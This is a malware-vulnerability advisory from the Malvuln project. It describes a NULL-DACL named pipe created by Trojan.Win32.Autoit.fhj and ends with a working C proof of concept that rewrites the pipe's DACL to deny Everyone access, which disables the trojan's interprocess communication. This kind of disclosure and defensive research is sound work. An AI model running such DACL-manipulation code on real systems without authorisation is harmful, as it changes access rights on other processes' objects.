Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/d871836f77076eeed87eb0078c1911c7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Autoit.fhj
Vulnerability: Named Pipe Null DACL
Family: Autoit
Type: PE32
MD5: d871836f77076eeed87eb0078c1911c7
Vuln ID: MVID-2022-0638
Disclosure: 09/06/2022
Description: The malware creates two processes "xservice.exe" and a child process "xps.exe".  The process creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

RManFUSCallbackNotify32 
RManFUSServerNotify32

\\.\Pipe\RManFUSCallbackNotify32
RW Everyone

Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.

Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

/*
Trojan.Win32.Autoit.fhj.d871836f77076eeed87eb0078c1911c7 
NamedPipe Exploit Deny Access to Everyone
By Malvuln
**/

#define VULN_TROJAN_PIPE "\\\\.\\pipe\\RManFUSCallbackNotify32"

int main(void){

    HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
    PACL pOldDACL = NULL;
    PACL pNewDACL = NULL;
  
if (hPipe == INVALID_HANDLE_VALUE){   
    printf("%d", GetLastError()); 
  return 1;
}
  
  if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
    printf("%d", GetLastError());
    return 1;
  }
  
    TRUSTEE trustee[1];
    trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
    trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
    trustee[0].ptstrName = TEXT("Everyone");
    trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
    trustee[0].pMultipleTrustee = NULL;

    EXPLICIT_ACCESS explicit_access_list[1];
    ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));

    explicit_access_list[0].grfAccessMode = DENY_ACCESS; 
    explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
    explicit_access_list[0].grfInheritance = NO_INHERITANCE;
    explicit_access_list[0].Trustee = trustee[0];
    
    if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){
      printf("%d", GetLastError());
      return 1;
    }
      
    if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){            
       printf("%d", GetLastError());
       return 1;     
      }else{
        printf("Trojan.Win32.Autoit.fhj PWNED!\n");
        printf("By Malvuln\n");
      }
    
    LocalFree(pNewDACL);
    LocalFree(pOldDACL);
    CloseHandle(hPipe);

    system("pause");

return 0;
}

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